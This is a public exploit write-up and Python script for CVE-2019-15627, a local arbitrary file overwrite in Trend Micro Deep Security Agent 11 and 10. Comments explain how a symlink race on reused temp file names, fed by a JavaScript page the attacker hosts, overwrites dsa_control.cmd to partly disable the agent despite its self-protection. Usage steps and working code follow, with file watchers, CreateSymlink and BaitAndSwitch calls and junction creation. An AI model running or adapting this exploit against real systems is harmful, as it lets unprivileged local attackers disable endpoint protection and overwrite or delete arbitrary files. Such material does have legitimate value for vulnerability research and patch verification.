Trend Micro Deep Security Agent 11 - Arbitrary File Overwrite

# Exploit Title: Trend Micro Deep Security Agent 11 - Arbitrary File Overwrite
# Exploit Author : Peter Lapp
# Exploit Date: 2019-12-05
# Vendor Homepage :  https://www.trendmicro.com/en_us/business.html
# Link Software : https://help.deepsecurity.trendmicro.com/software.html?regs=NABU&prodid=1716
# Tested on OS: v11.0.582 and v10.0.3186 on Windows Server 2012 R2, 2008R2, and 7 Enterprise.
# CVE: 2019-15627

# CVE-2019-15627 - Trend Micro Deep Security Agent Local File Overwrite Exploit by Peter Lapp (lappsec)

# This script uses the symboliclink-testing-tools project, written by James Forshaw ( https://github.com/googleprojectzero/symboliclink-testing-tools )
# The vulnerability allows an unprivileged local attacker to delete any file on the filesystem, or overwrite it with abritrary data hosted elsewhere (with limitations)
# This particular script will attempt to overwrite the file dsa_control.cmd with arbitrary data hosted on an external web server, partly disabling TMDS, 
# even when agent self-protection is turned on. It can also be modified/simplified to simply delete the target file, if desired. 

# When TMDS examines javascript it writes snippets of it to a temporary file, which is locked and then deleted almost immediately.
# The names of the temp files are sometimes reused, which allows us to predict the filename and redirect to another file.
# While examining the JS, it generally strips off the first 4096 bytes or so, replaces those with spaces, converts the rest to lowercase and writes it to the temp file. 
# So the attacker can host a "malicious" page that starts with the normal html and script tags, then fill the rest of the ~4096 bytes with garbage, 
# then the payload to be written, then a few hundred trailing spaces (not sure why, but they are needed). The resulting temp file will start with 4096 spaces, 
# and then the lowercase payload. Obviously this has some limitations, like not being able to write binaries, but there are plenty of config files that 
# are ripe for the writing that can then point to a malicious binary.

# Usage:
# 1. First you'd need to host your malicious file somewhere. If you just want to delete the target file or overwrite it with garbage, skip this part. 
# 2. Open a browser (preferrably IE) and start the script
# 3. Browse to your malicious page (if just deleting the target file, browse to any page with javascript).
# 4. Keep refreshing the page until you see the script create the target file overwritten.
#
# It's a pretty dumb/simple script and won't work every time, so if it doesn't work just run it again. Or write a more reliable exploit. 


import time
import os
import subprocess
import sys
import webbrowser
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

class Stage1_Handler(FileSystemEventHandler):
	def __init__(self):
		self.filenames = []
	def on_created(self, event):
		filename = os.path.basename(event.src_path)
		if filename in self.filenames:
			print ('Starting symlink creation.')
			watcher1.stop()
			symlinkery(self.filenames)
		else:
			self.filenames.append(filename)
			print ('File %s created.') % filename
			
class Stage2_Handler(FileSystemEventHandler):
	def on_any_event(self, event):
		if os.path.basename(event.src_path) == 'dsa_control.cmd':
			print "Target file overwritten/deleted. Cleaning up."
			subprocess.Popen("taskkill /F /T /IM CreateSymlink.exe", shell=True)
			subprocess.Popen("taskkill /F /T /IM Baitandswitch.exe", shell=True)
			os.system('rmdir /S /Q "C:\\ProgramData\\Trend Micro\\AMSP\\temp\\"')
			os.system('rmdir /S /Q "C:\\test"')
			os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig','C:\\ProgramData\\Trend Micro\\AMSP\\temp')
			watcher2.stop()
			sys.exit(0)
			
class Watcher(object):
	def __init__(self, event_handler, path_to_watch):
		self.event_handler = event_handler
		self.path_to_watch = path_to_watch
		self.observer = Observer()
	def run(self):
		self.observer.schedule(self.event_handler(), self.path_to_watch)
		self.observer.start()
		try:
			while True:
				time.sleep(1)
		except KeyboardInterrupt:
			self.observer.stop()

		self.observer.join()
	def stop(self):
		self.observer.stop()
		
def symlinkery(filenames):
	print "Enter symlinkery"
	for filename in filenames:
		print "Creating symlink for %s" % filename
		cmdname = "start cmd /c CreateSymlink.exe \"C:\\test\\virus\\%s\" \"C:\\test\\test\\symtarget\"" % filename
		subprocess.Popen(cmdname, shell=True)
	os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp','C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig')
	os.system('mklink /J "C:\\ProgramData\\Trend Micro\\AMSP\\temp" C:\\test')
	watcher2.run()
	print "Watcher 2 started"

try:
        os.mkdir('C:\\test')
except:
        pass

path1 = 'C:\\ProgramData\\Trend Micro\\AMSP\\temp\\virus'
path2 = 'C:\\Program Files\\Trend Micro\\Deep Security Agent\\'
watcher1 = Watcher(Stage1_Handler,path1)
watcher2 = Watcher(Stage2_Handler,path2)
switcheroo = "start cmd /c BaitAndSwitch.exe C:\\test\\test\\symtarget \"C:\\Program Files\\Trend Micro\\Deep Security Agent\\dsa_control.cmd\" \"C:\\windows\\temp\\deleteme.txt\" d"
subprocess.Popen(switcheroo, shell=True)
watcher1.run()